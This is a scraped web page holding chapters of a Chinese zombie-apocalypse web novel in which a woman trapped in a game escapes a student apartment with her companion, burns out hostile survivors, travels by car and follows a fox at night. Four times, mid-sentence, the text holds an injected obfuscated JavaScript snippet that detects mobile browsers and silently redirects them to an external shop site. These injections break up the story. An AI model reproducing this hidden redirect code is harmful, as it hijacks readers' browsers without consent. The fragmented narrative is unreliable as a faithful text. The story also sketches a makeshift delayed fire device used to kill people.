杰恩吮完指头,往罐子里灌了点水喝完,便随手扔在垃圾桶旁。盖子没有扣好,从边缘渗出一点褐色的汤水,滴落在地板上。 一滴。 两滴。 三滴。 盖子松开,掉在地上,滚了两圈,撞在柜脚。 “哔哔哔哔哔哔哔哔哔哔——!” 刺耳规律的警报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755611|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无预兆地响起,回声在楼道里反复撞击,穿透地板、门板和窗户。东南翼楼房如一个巨大音响,持续往外发送高分贝尖啸,连空气都震颤不止。 无数双贪婪的灰白眼睛转向这幢高楼。 · 二人同时抬头。 “准备走。”白睨从外套里拿出一小瓶香水,对着自己和米哈伊尔一通狂喷。她曾亲眼见证过丧尸对食物、垃圾的气味无动于衷,或许强烈的香味能帮他们掩盖身上新鲜的“肉味”。 米哈伊尔皱眉扇了扇,往落地窗凑了一步,吸了口新鲜空气。落地窗空空荡荡,没有玻璃,拉链珠帘轻轻磕碰着窗框。 虽然无法听清具体的动静,但是白睨明白,后街甚至整个街区的丧尸群都在狂奔向这栋公寓,拥堵在楼梯间,争先恐后地冲向五楼。 而他们,在二楼。 · 在米哈伊尔洗碗的时候,她想到,自己可以制作一个装置来吸引丧尸群的注意力。 需要解决的难题是,他们前往公园必经的荒地上,有很多被联排警报吸引过来的丧尸。但是同样地,他们也可以利用公寓的警报,把丧尸集中到这里,再前往荒地。 虽然城市已经停止供电,但是大部分的公寓都有备用电源,包括她所在的这幢学生公寓。备用电源虽然无法给私人电器供电,但连接着公共区域的火警系统,一旦出现火情,就会发出高分贝警报。 自己有幸体验过一次,那真的是吵得耳朵都要掉了。 她所要做的是制作一个能延迟触发火警的装置。一个简易的、隐蔽的、不需要电器的引火装置。 留给他们的时间不多,白睨马上在脑海里生成一个计划并在其他房间找到了所需的材料。根据剧情文本这两天的记录,她大致估算了拉图索一行人从住所前往这幢学生公寓所需要的时间,以及他们按计划走楼梯进入第五层三号走廊所需要的时间,保险总计一小时。 接着,她用小刀将蜡烛切开,保留燃烧一小时所需要的蜡体和下面的棉线;然后找来一个木盒,倒上一层橄榄油,铺上纸和化妆棉,一个简易的引火装置就完成了。 她又做了一个相同的装置,将它们分别放在5.5层的二、三号走廊楼梯间,用杂物遮掩。一,这两个楼梯间相比一号走廊的,距离荒地更远;二,既然入侵者的最终目的地是白睨所在的一号走廊,那么把装置放在这两处,被发现的概率更低。 装置大功告成。白睨实时监控拉图索支线剧情,等到他们出门的那一刻,她立刻点燃蜡烛,叫上米哈伊尔,带着绳子和背包进入挂着床单绳的那个房间,从公寓背面爬到二楼平台,躲在那个落地窗被撞破的房间里等待。 不过,她做的还不止这些。 她提前撤掉了每条走廊的堵门工具,只用家具堵住了他们用以出逃的房间并反锁了门,确保其他人无法轻易进入这个房间逃生。 没错,她不仅要离开这里,还要在离开前处理掉这一群对她居心叵测的人。 拉图索的举动让她明白,游戏里的支线人物只有两类,一类是朋友,一类是敌人。她与他们的剧情是互相牵连影响的。 若是敌人,消除隐患的方式就只有一种。 14.清算(下) 白睨背上背包,拿起棒球棍和铁锅,抬脚跨上窗台,“时间到了,走。” 平台栏杆上早已挂好他们新备的床单绳,米哈伊尔率先爬下,紧接着就是白睨。 荒地和前天一样,空旷荒寂,杂草丛生。原本在这里徘徊的丧尸大多都被吸引走,只有零星几只正在从远处靠近。他们正准备潜行,一抬头,与远处两只丧尸对上了眼。 咯吱—— 其中一只丧尸脖子发出轻响,像旧门铰链一样缓慢而沉重地扭转角度,另一只也歪过身子,脑袋歪在残缺的肩膀上,望向他们。几秒后,它们脚步一齐挪动,目标直指二人的位置。 没有多说,白睨和米哈伊尔拔腿就跑! 荒地有一条街道那么长,房车公园在最顶端,显得那么遥远。 警报声被抛至身后,白睨耳中只有自己剧烈的心跳声。肺部像鼓风机一样剧烈收缩膨胀,每一口呼出的气都带有血腥味。手里的棒球棍仿佛一根巨型接力棒,拿在手里沉重,舍掉又不可能,但很快这种异物感就消失了,棒球棍像焊在她手里,随着她大步奔跑敲击着每一块阻挡她的空气。 她的身体知道她在逃命,分泌出肾上腺素,心脏剧烈跳动,把源源不断的血液输送到四肢经络。树木转换二氧化碳和氧气,她急促地转换氧气和二氧化碳,她是一棵不扎根在地上的树。 她的身体知道她有多想活。 为了赶在更多丧尸围过来之前抵达停车场,他们几乎按直线一路狂奔,中途看见丧尸挡路也只是躲避或挡开。 白睨跟在米哈伊尔后面,翻过一片矮栅栏。正当她想着这片栅栏可以绊住尾随的丧尸时,从旁边的灌木丛中突然窜出一个身影,张嘴啃上了她的小腿! 被冲力一撞,白睨整个人摔倒在地,棒球棍也飞了出去。 黏糊的黑液滴落在土地里,一只矮小的丧尸匍匐在白睨腿上,脱臼的下巴嘎吱作响,却仍要去咬第二口! 那张腐臭的嘴还未落下,地上便飞来一脚,咯的一声卡进它大张的嘴巴。白睨滚身猛一蹬腿,把丧尸带倒在地,然后发力往地一碾,“咔拉!”泥土里传来下颌骨整块脱落的声音,鞋头捅出腐败的脸颊。白睨趁机收脚翻身,抓起手边的背带,沉甸甸的背包瞬间化为沙袋划过出一弧线,从丧尸头侧把它硬生生凿进土里,溅飞一片尘灰。 一切都发生在短短几秒内。 丧尸没了动静,歪歪扭扭摊在地上。白睨放大的瞳孔这才慢慢回缩,胸口因剧烈的心跳而发痛。手臂突然被抓住,她吓了一跳,米哈伊尔急道:“受伤了没?!” 咽了口唾沫,白睨摇头,扯了扯身下的运动裤,上面带了一圈黑乎乎的牙印。 大出一口气,米哈伊尔把她拉起,发现那群丧尸快翻过栅栏了,“你还能跑吗?我背你。” 白睨捡起棒球棍,犹豫了一下,想到那可能会拖累他的速读,摇了摇头,“不了,我还行。”瞥了一眼正从联排小径过来的几只丧尸,她眼神一凛,“试试那个。” 米哈伊尔没反应过来,“哪个?” 白睨扯开背包拉链,从里面掏出一袋浸染了血迹的纱布。 “这还没用呢。” 前天,米哈伊尔帮她重新清理伤口时,看到伤口渗出的血水,白睨突然想到,这不就是浓缩的人味吗?虽然比不过完全新鲜的血肉,但比起路面上那些已经高度腐败的尸体,也算比下有余了吧? 于是米哈伊尔就看到,白睨一手掐住自己受伤的手掌,紧皱眉头的同时不停用力挤压揉捏,血顺着手指滋哇流了一滩,将雪白的纱布染成深红。米哈伊尔的脸反倒变得苍白,好像这场面比一窝丧尸聚餐还恐怖。 白睨迅速把血纱布倒在刚才倒下的尸/体上,然后又拿香水在二人身上喷了两圈,“走!” 几个丧尸被挤压着翻过了栅栏,从地上爬起,像傀儡般扭动着僵硬的脖子,在空气中四处闻嗅。 “咯……咯……” 其中一只转动灰白的眼珠,锁定在地上的一动不动的身体上,微微探过身去,黑色的粘液像口水一样长长挂下。 “噶——”像是一声惊喜的嘶吼,丧尸扭动过去,用手拨弄着撒着血纱布的尸/首。其他丧尸见状都被吸引过来,纷纷跪下,试探性地低头啃咬,场面如兽群围食。 米哈伊尔远远地回望见这一幕,纱布果真按照白睨的猜想发挥了作用。那脑瓜里怎么能有那么多奇怪又有用的点子?望向跑在身边同样回头张望的同伴,女孩虽然气喘吁吁,发丝凌乱,但眼神明亮如刃,对上他时,笑眼一弯。 “我发现你们欧洲人真的蹲不下去哎!” “……” · 绿网的窟窿透过高高的杂草逐渐显现,越来越近,二人躬身穿过,终于看到那辆黑色哑光、形制优雅的MPV了。 砰——不远处传来沉重碰撞声,像是丧尸撞与车头发生碰撞。白睨没有去看,一个箭步扑在车子上,用仿佛要扯掉车门的力量拉好前天留好的门,终于滚进了这个密闭空间。 “砰砰!”两声车门关闭的声音,随后就是米哈伊尔大喊:“坐好!”这辆老款MPV一个打弯,后轮急转,直接飞驰出去!一个丧尸来不及躲开,就被它撞到车顶又滚落。米哈伊尔猛地一拨操纵杆,手腕一转,急打方向盘。车身嗡鸣着冲出公园破裂的绿网门,像挣脱的飞鸟滑入街道。 白睨倒在后座的床上,两侧的窗景像倒带的胶片般掠过,忽明忽暗。慢慢地,她才意识到车里两个沉重的喘息声,其中有一个是自己的。 是她活下来的呼吸声。 米哈伊尔也在喘息。 他目光突然被外面吸引,“白,快看!” 白睨挣扎着从床上坐起,望向窗外,一团火光倒映在她眼中——学生公寓第五层燃起大火,浓烟滚滚,玻璃一户户炸裂,破碎的建材和火团从高空坠落。仔细去看,那些火团竟是一个个燃烧的人。她马上想到大概是被吸引来的丧尸,拥堵在楼道里导致引火上身烧成一片,最后从窗户掉下。这幢她藏匿了两个月的公寓楼,此时像一朵炽红的花朵,一边盛放,一边散落着花瓣。 她拿出手机打开PhantoChat,发现拉图索的头像变成了灰色。点进去,前面的剧情记录和她预想的差不多,警报响起后,丧尸涌入第五层楼,仿佛无穷无尽,入侵者们尖叫、逃跑、被淹没,连门都被挤破。这一次,拉图索没来得及逃走,也根本不可能。 结尾只有一句: [她在耸动的黑海中,看到了约翰尼腐烂的头颅。] 白睨关上手机,叹息了一声。 无论选多少次她还是会这么做,但看着一段人生在自己眼前结束也不可能无动于衷。 如果现实世界里也有拉图索,大概正过着不同的生活吧。 “嗡——”手机震动了一下,屏幕亮起,弹出一条来自PhantoChat的消息: [PhantoChat:【支线·拉图索】已归档,现释放一角色剧情记录空位。] 空位? 白睨再次点进角色/界面,发现拉图索的文本记录已经收纳在“归档”列。而原本拉图索头像的位置,现在被一个空白头像顶替,点击那个头像,就弹出一个姓名输入框。 这是让她输入名字?是可以找人的意思吗? 白睨想了想,输入“约翰尼”三个字,点击确定,界面马上弹出了约翰尼的灰色头像并显示: [角色:约翰尼·坡瓦尔 状态:已死亡 请更换角色!] 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757997|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么智能!能精准找到她想找的人? 想了想,白睨陆续输入其他名字: [角色:米哈伊尔·索罗金 记录重合,请更换角色!] [角色:冯渝艳 未接触,请更换角色!] [角色:白坤 未接触,请更换角色!] …… 只能记录进入游戏后见过的人也太局限了吧?她身边除了米哈伊尔也没有其他活人了。 泄愤般地猛戳几下屏幕,无法,她只能把手机放在一边。 黑色MPV还未驶出城市,所到之处都是撞毁的车辆、破败的店铺和游荡的丧尸。 窗外的许多地方她都曾去过,上学必经的公交站、课后常逛买的大型超市、周末爱吃的古早味中餐馆、很多小年轻玩滑板的涂鸦公园,如今都变得一片狼藉,死气沉沉。 就算丧尸末日结束了,这样的世界还能重建么? 白睨扭过脸,拉上车帘。 “白,”前座的米哈伊尔突然开口,“你不觉得有些丧尸特别灵活吗?” 被他一提,白睨就想起了,平台上那只爬地偷袭的丧尸和刚才躲在草丛里的那只,似乎比其他的更加灵敏,攻击方式具备一定——逻辑性?或许不能称之为逻辑性,但与其他丧尸直愣愣的攻击有很大差别。 想到这里,白睨不仅打了个寒颤。难道有一部分丧尸天赋异禀,大脑中残留了部分意识? 她当时设定存档时可没写这个设定啊! “意识不清,行动敏捷。”米哈伊尔继续道,“我在A&S的临床观察报告里见过这样的记录。” “A&S”,这个字眼如电流穿过白睨的脑海,米哈伊尔提过这家健康食品公司可能和丧尸危机有关,“不是说没有证据吗?” “嗯……怎么说呢。”米哈伊尔打着方向盘,车子平稳驶上通往主干道的坡道,“简单从头说起吧,任务最初是由一家和 A&S 竞争的公司委托给我的,他们手头只有些传言,说 A&S 可能在进行未经批准的人体实验。我的任务是潜入内部找到文档,备份后带出来。” “我潜进去后没找到所谓的人体实验记录,只有一份关于 ReVita-Z 首批试用者的回访记录和临床观察报告,显示那批人在四个月后陆续出现神志不清但行动较为灵活、攻击性增强的情况。那时候产品已经上市,公司决定停止售卖并暗中召回有问题的产品,但还没等到真正落实,丧尸就大规模出现了。” 白睨“欸”了一声,数了数手指,发现奇怪的地方,“你说试用者是四个月后出现异常的?但我记得ReVita-Z 是危机前一个月才上市的呀。”她也是A&S的深度用户,ReVita-Z 上市时她还去了解了一下,最后因以前买的产品还没吃完才没订购。 少有的一次不囤货救了自己一命啊! “这就是奇怪的地方,而且就算ReVita-Z 有问题,也不可能一天内让全球沦陷。”米哈伊尔呼出一口气,“A&S公司肯定和这场危机有关系,但具体是什么还不清楚。” 车里又安静了。 白睨躺回床上,双手交叠,盯着摇晃的车帘。 郊区的路况比城市的差劲,车轮碾过碎裂的柏油和深浅不一的坑洼,一颠一颠,像在碎石海上航行。黄昏悄然降临,低矮的篱笆、瘦长的树影、阴郁的草坡在帘飞时掠过,播放着沉静冗长的默片。 白睨闭上眼睛。 无论如何,她现在进一步掌握了丧尸危机起源的信息,虽然她暂时不知道这消息有什么用, 话说既然这样,按照一般剧情,他们是不是应该往城市里开,去A&S探索一下? 但这车在往郊野开啊? 嘶—— 管它呢,先这样吧。 15.林中陷阱(一) “嘎……” 丧尸衣衫褴褛,稀疏的发丝在风中飘动,两根竹竿似的腿一瘸一拐地往前拄动。 白睨一动不动,眯起眼睛,视线渐渐聚焦在木条尖端那一点。 “嗖——” 木箭倏然飞出,却从丧尸脸边飞过。 “啊~~”白睨仰天长叹。 射箭也太难了!目标未中一箭,自己的脸倒是被弦打了两次,再这样下去丧尸不破皮她先破相了! 见丧尸又往前走了两步,她赶紧再拉弓。这一箭扎在了丧尸肩膀上,终于让它破了皮。 丧尸身体一斜,但没有倒下,反而像被这一箭激怒了,发出一声吼叫,加快摆动双腿。 灰影一线,石子弹射到丧尸跟前,它一脚精准踩上,脚一扭砰地摔了个狗啃地。 “姿势不对,”米哈伊尔弹完石子,指尖按在白睨肘弯处调整角度,“再试试。” 白睨三指持弦,拉开右臂,手一松,第三箭飞了出去。这次穿过发丝,擦着丧尸头皮过去了。 “手要稳,角度低一点。” 说完,男人站在她身后侧,伸手覆上她握弓的左手,轻轻拨松过于用力的中三指,仅按住她的拇指根部;另一只手绕过她右臂,扶住拉弦的肘部,向下微压了几度。两双眼睛顺着箭身,一同瞄向目标。 松手,箭飞。 丧尸脑门中央被箭枝贯穿,身形一晃,直挺挺倒下了。 “差不多就是这种感觉。”米哈伊尔从她脸边移开,她也松弛下来,晃了晃微酸的手臂。 之前白睨提出想学飞刀,但被米哈伊尔点醒一个问题。 飞刀并不是那么好找,尤其是在野外。 米哈伊尔建议她学射箭过渡,无论是在材料获取难易程度还是射程上都远胜飞刀,入门门槛也低。 话是这么说,但自从有一次白睨放弦时把箭弹到了身后,现在米哈伊尔除了上手帮忙,都不会站到她旁边了。 收好弓箭,白睨和米哈伊尔绕开丧尸,走近轿车。车门是开着的,但里面除了半瓶水什么都没有。 米哈伊尔一拧插着的车钥匙,仪表盘亮起,显示还有余油,“我去拿油桶。” 白睨点点头,取了那半瓶水去清洗脏兮兮的车门。那半瓶水不知道有没有被污染过,这样也算物尽其用了。 把这辆车彻彻底底搜刮干净了,二人才回到自己的床车里。 这辆本来还算宽敞的MPV因为塞了太多东西,已经变得十分拥挤。不仅桌柜里堆满罐头和干粮,冰箱里的东西也不减反增,原本只有各半袋三色豆和鸡胸肉,现在则塞了覆盆子、黑莓、荨麻、蒲公英等野生水果蔬菜,都是他们在公路旁的地里采的。白睨还摘了一些接骨木花冻在冰箱里,说要等秋天来了,摘到苹果一起做成接骨木花苹果汁。 “下一程我来开吧。”白睨坐上驾驶位,系好安全带。米哈伊尔便去到了副驾驶,看白睨伸出左手放在换挡杆,忍不住道:“拜托你这趟不要摸档把车门开了。” 白睨有些许尴尬,瞪了他一眼,默默把二级解锁打开。车慢慢滑了出去,平稳行驶在公路上。 米哈伊尔坐在床上,往冷水里撒了点咖啡粉,用小勺快速搅开,就当作简易版美式喝了。 窗外是绵延千里的田野,这块灰绿、黄绿,那块青绿、墨绿,如深浅不同的大片毛毯被编织在一起,造物主大臂一甩,毛毯平坦地落在土地上,没有一丝褶皱。今天的云是一团一团的,十分蓬松绵软,有几团像被轻扯出薄薄的棉絮,悠悠跟在后头。 “羊。”白睨道。 米哈伊尔放下杯子,探头往上张望,“哪个?” 白睨逐级换挡,车子缓缓拉出一段距离,停下了,“这儿啊。” “咩~” 一团团小云朵正在过公路。 · 两根杆子撑起车边帐,米哈伊尔放下刀,拎起刚剖下的最后一只羊腿,往白睨手边的折叠桌上一搁,然后换了把刀,顺着肌理把拆好的各部分切成大块的肋条和肉条。白睨抱着碗,用粗木棍捣着迷迭香,桌上摆着一盆切段切片的羊杂,一碗薄荷叶。旁边支着的汤锅咕嘟嘟响。 他们现在把车一横停在大路上,周围除了草就是草,只要土里不爬出打领带的丧尸,这片就很安全。 把迷迭香捣碎以后,白睨把香料洒在切好的肉上,将其均匀揉开,辛香味便与羊独有的油膻味混合了。每有一块加工好,她便把肉条往米哈伊尔那儿一推,米哈伊尔接过,用绑绳把肉系在烧烤网格上。 肉条处理好后,二人没有碰,只把烤网搁在一边,然后不约而同、迫不及待地围坐在汤锅前。白睨把沸腾的汤锅挪开,摆上拆了把手的锅盖,倒入一点水,放着柴火燎烧不锈钢底部。待锅盖热透了,她便将羊杂分批倒在凹陷的部分,持两根细木棍作筷子,随意地翻炒起来。 把炒过的羊杂倒进汤锅中,“好了,把锅架回来呗。” 米哈伊尔把不锈钢锅端回到架子上,照做但不理解。“为什么这么麻烦?”他左看看用来翻炒的锅盖,右看看用来炖煮的汤锅,觉得换自己来做,任一锅就能一步到胃。 “你不觉得腥啊?”白睨转筷敲在拿光明正大伸去的手指上,看他收回手还厚脸皮地笑,“要对食材心怀感恩,风光大葬。” 往汤里添了一根羊骨,锅小声咕嘟嘟,白花花的泡沫在汤面上翻滚。撇去一些浮沫,再炖煮良久,直到快出锅了,撒入一把薄荷叶,扑鼻的膻香混杂着草本的清凉蒸腾而起。米哈伊尔直流口水,盘坐在一旁,像饿了整个冬季的野熊一样直勾勾地盯着煮锅。 浓白温润的羊杂汤顺着铁勺滑入碗中,米哈伊尔双手接过,连声道谢都顾不上,象征性吹了吹,喝了一大口。 “呃——”他发出一声低沉的喟叹,仿佛在热水中泡开,但还没松弛完全,立刻直起身子,用勺子把。“活过来了。丧尸就是不吃像样的食物才死透的。” 羊杂段鲜嫩弹牙,油滋滋的,本来辛辣的薄荷泡了油汤变得温和了,清凉爽口,实在美味。白睨嚼吧嚼吧,咽下嘴里的羊肚片,“懂了,下次我们谁被咬了就赶紧喝点热的。” 这一顿着实让白睨见识了米哈伊尔的饭量,那羊杂炒过后大概也有二四二五两重,他一人就干掉了大半锅。她现在明白,米哈伊尔在公寓里吃得还是太含蓄了,如果敞开肚子吃,他们估计得提早一个月出发。 解决完午晚饭,他们把剩余的羊杂捞出,沥干汤水装进饭盒,连同收集在罐子里的羊油和晾着的羊皮毛都收进车里。 其实接下来才是重头戏。 米哈伊尔两手虚虚扶住白睨的小腿,肩膀发力,刚听见“嘿哟”一声,自己肩膀被踹了一脚,“你就不收点力?”他故意倒吸一口气,揉肩望向车顶上的白睨。 “夸张,”白睨没惯着他,伸出双手,“把烤网给我吧。” “你确定这能做风干羊肉?”抬起绑着肉条肋条的大四方金属网格,米哈伊尔有些恋恋不舍。多新鲜的羊肉啊,万一整出个好歹来他得有多心痛! “当然,我的办法完全合理好吧?”白睨小心翼翼地把烤网放在车顶架上,用绑带给它固定住,“风干羊肉,最重要的是‘风’,对吧?” 像是为了应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776967|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和她的话,田野里刮来一阵凉爽的风,拨乱了她的刘海。今日阳光和煦,并不很热,时近傍晚,太阳正往山头靠近,天边浮现渐进的橙黄。白睨把发丝撩至耳后,举起手臂像是拖住了风,“等我们发动车,车顶的风更大,流速更快,那不就能做‘速成版风干羊肉’了?” 米哈伊尔一手抱头,倒吸一口气,脸上尽是纠结。让他挑毛病,他挑不出来,再把这办法捋一遍——他还是无法反驳。但谁能想到用车顶做风干羊肉? 只有白睨了。 · 上方烧烤网轻轻撞着车顶架,咯哒咯哒的响。 白睨睡了一觉,再醒来,眼前乌漆嘛黑的,才反应过来已是深夜。她打了个哈欠,“几点了?” 米哈伊尔握着方向盘老实道:“我没有表。” 哦,差点忘了。 白睨抹了把眼睛,一抬手腕,发现居然已经十点多了,“你开了五个多小时?换我来吧。” 驾驶座换了人。白睨双手放在方向盘上,却几乎不用怎么转动,公路笔直延伸,另一端埋藏在最深的夜色中。田野被月光涂上一层黯淡的霜白,沉默地在旁陪伴。 她从后视镜瞄了一眼,见米哈伊尔环抱双臂,闭着眼睛,发出轻轻的鼾声,显然是很疲惫了。 走夜路实在是很无聊,一发困就容易趴方向盘。白睨努力打起精神,会想起自己以前去托斯克洛德(Towsclod)旅游的经历。那是一片旅游业兴盛的乡村区域,村镇古老但设施齐全,石墙与蜂蜜色小屋错落分布,道路蜿蜒曲折;景区内有肥沃广袤的耕地,外有隐蔽环绕的山林,符合生存和发展的条件。 他们自然不抱托斯克洛德还没沦陷的希望,只想在周边找一个长期据点,比如一个位置偏僻的小农舍。 打了个哈欠,白睨用手梳了梳头皮,强打精神与生物钟抗争。小农舍还远没有影子,这儿到处是黑影,黑色的车开向黑色的地平线。她想到有一部末日电影讲的就是阴影会吞噬人类,黑夜越来越长,白天越来越短,影子窸窸窣窣地和人讲话[1]。 一比较,丧尸都变可爱了。 不知过了多久,又一阵困意上涌。安全第一,白睨赶紧停下车,再一看手表,已经过去三个小时了。 眯个十分钟或许能清醒点。想着,她定好闹钟,便头一低埋在了方向盘上。 意识迅速消失在第七街。 · 白睨的睡眠一直很浅。 梦里传来刮擦声,窸窸窣窣,吱吱沙沙,像是有人隔着磨砂纸在抓挠。她的眼皮动了动,耳中的声音逐渐清晰。 仿佛真的有人在车外。 猛地睁开眼睛,身子在座椅上弹了一下。她下意识看向后视镜,才发现米哈伊尔也清醒了,正把耳朵贴在车窗上,目光与她在镜中短暂交汇。 窸窸窣窣。 吱吱沙沙。 外面,似乎有什么东西正围着车缓慢移动……走两步,又停下,轻轻拍打或抓挠,然后再移开。 是在试探么? 看不清窗外的情况,白睨只能随着那物体在地面磨砂的细微声响,缓慢地转动头。 似乎停在了窗外。但她什么都没看到。 窸窸窣窣。 那东西又动了,沿着车头走去。 声音似乎消失了。 但谁也没有出声。空气仿佛被一根无形的线拉紧,紧绷得几乎要断裂。 “咚!” 一声闷响砸在车头,像什么东西猛地扑上来。白睨下意识一缩,还没来得及看清,一道影子已如疾风掠过挡风玻璃,跳上他们头顶。 16.林中陷阱(二) 最先反应过来的是米哈伊尔。 “F***!”把手枪一塞,拎起平底锅,米哈伊尔摔门而出,一副不让他吃肉他就要把丧尸生吞活剥的架势。 他馋疯了吧! 白睨一把抄起旁边的棒球棍,手放在车门上,没推,目光紧紧追着车窗外他的身影。 却见米哈伊尔刚抬头望向车顶,眉峰忽然一跳,原本凶神恶煞的神情瞬间垮了下来,像是看见了什么出乎预料的东西。 这下连带着白睨也困惑了,打开车门,就见米哈伊尔皱着鼻子转向她,眼睛里竟有点委屈控诉的意味。 但看到车顶上的情况,白睨也吃了一惊。 一只毛色杂灰带红、尾巴蓬松的大狐狸正趴在车顶,四肢僵定在原地,嘴里塞着三四块肉干,眼珠骨碌碌地转着,耳朵往后缩,显然是被突如其来的视线吓到了。 “这是红狐狸?”虽然以前从未见过,但白睨听说过E区野外有很多野狐狸。她想看仔细点,但刚凑近半步,红狐狸立刻弓起脊背,从大张的嘴里发出杀猪般的嚎叫。 “哇啊啊啊——哇哇啊啊!!” 米哈伊尔闪电般出手,一巴掌拍在它脑袋上,“叫什么,”又给了一巴,“大晚上的偷东西还扰民!” 狐狸被骂得缩了脖子,改为小凶地叫唤两声,“啊啊——”抬头看到米哈伊尔的眼神,声音一下压低了,尾音竟带着点委屈。 米哈伊尔没真使力,又抬手把它拨了下去。狐狸刚落地就急急地跳开两步,不小心掉了两块肉干。 白睨看了看脚边的羊肉干,又看向依依不舍地回望那两块肉干的狐狸,叹了口气,用脚把肉条往前踢了踢。“吃吧,都弄脏了。” 狐狸耷拉着耳朵,警惕地看看她,看看肉条,似乎十分纠结。正当白睨准备转身不管时,红狐小步跑来,低头努力往嘴里塞肉条。 白睨撑着膝盖,仔细打量。这似乎是只成年狐狸,很瘦,耳朵缺了一角,是陈年的伤口。刚才看它跑起来有点一瘸一拐的,白睨往它后腿一看,果然发现一片干涸的暗红。 “它受伤了。估计打不到猎,闻到肉干的香味就来了。” 米哈伊尔单膝跪下,看着这只狐狸还在努力往小嘴筒里塞大块的肉条,没好气道:“第一口羊肉啊,让你这畜生吃了。” “不是第一口哦,”白睨伸手点了点,“一,二,三,四。” 米哈伊尔的脸更臭了。 狐狸终于把肉条都塞进嘴筒子,抬起头,嘴里像塞了把扇子似的,蓬松的尾巴甩啊甩,看了白睨一眼,便扭头往旁边跳了几步。 以为它是要离开了,白睨站直身子准备回车里。结果听到身后传来嘤嘤嘤的叫声,回头,那只狐狸叼着肉条坐在草丛里,乌黑的眼珠滴溜溜地望着她,朝她伸了伸脖子。 “嘤~” “……?” 白睨心有疑惑,驻足几秒,又试探性地凑近车门。 ”嘤嘤!”狐狸朝她小跑两步,尾巴着急地上下弹动,然后又往另一个方向跑了两步,扭身来看她。 白睨犹豫,“它……是在叫我过去吗?” 米哈伊尔耸耸肩,“很即时的报恩啊。” 狐狸急得像是要说话了,反复来回跑。白睨思索,难道这是触发新剧情了?狐狸预备加入他们的队伍,成为人类的末日好伙伴? 但一般不是狗吗? 狐狸急得团团转,尾巴一甩一甩地扫着草地,一会儿朝她跑两步,一会儿又掉头奔回原地,发出几声短促的鼻音,脚爪在地上不耐烦地刨了两下。 ……好吧,狐狸怎么不算狗呢?都是犬科的。 白睨按了按太阳穴,最后道:“去看看怎么回事儿吧。” · 辽阔的平原上,月光给草野渡上一层银光,夜风拂过,水波翻涌。 如果不是他们一人握着棒球棍,一人拎着平底锅,不知所谓,这个画面还能更唯美些。 草浪里,一抹灰红的身影上下浮动,时不时停下等他们过来。 “这狐狸真是成精了。”草地并不好走,一脚深一脚浅地。白睨边走边琢磨,它究竟想把他们带去哪。可抬头望去,眼前除了摇曳不止的野草,还是野草,远处则是一片模糊的树林。 米哈伊尔跨了一大步,“别小看这些灵性动物,它们比人想得聪明多了。” “你刚还骂它畜生呢。” “人来偷我肉吃,我也骂他畜生。” 还挺众生平等的。白睨在心里评价。 不知走了多久,他们终于穿出那片茂密的草野,脚下的土地渐渐变硬,杂草被低矮灌木取代。眼前是一片林地,树木密集高耸,枝桠纵横交错,月光都难以穿透。似乎是察觉到白睨的犹豫,狐狸调转回来,跑到她脚边呜咽两声,又往前跑去。 白睨没敢跟得太快,点开手机手电筒,和米哈伊尔走在一起。却见那抹灰红的影子往灌木丛里一跃,瞬间消失。她在灌木丛前扫来扫去,碍于手机光亮太局限,看不清狐狸去了哪儿。正不知所措的时候,不远处忽然传来一声狐鸣。 “咿嗷——”一对琥珀色眼睛出现在树下,像两颗小夜灯。 “到底要带我们看什么?” 嘟囔着,白睨抓着米哈伊尔的臂弯,一起穿过灌木丛,往狐狸的方向走去。靠得近了,她才觉察到一丝不对劲。 怎么有两声狐鸣? “嘤嘤——嘤嘤——” “嘤嘤……嘤……” 狐狸嘴里的肉条不见了,退开两步,白睨这才看清它身后有一个坑洞,口子不小,另一个微弱的声音就是从里面传出的。 白睨拿着手机,小心地探照那处阴影密布的地面。光束只能照亮洞口一圈,坑壁向下塌陷,如无底的深井,一口吞噬了虚弱的手电光。 米哈伊尔蹲下,拨了拨坑沿的枝叶和杂草,“是猎人的捕兽陷阱。底下可能是它的幼崽或伴侣。” 狐狸没有再叫了,蹲在一旁草丛中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785858|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 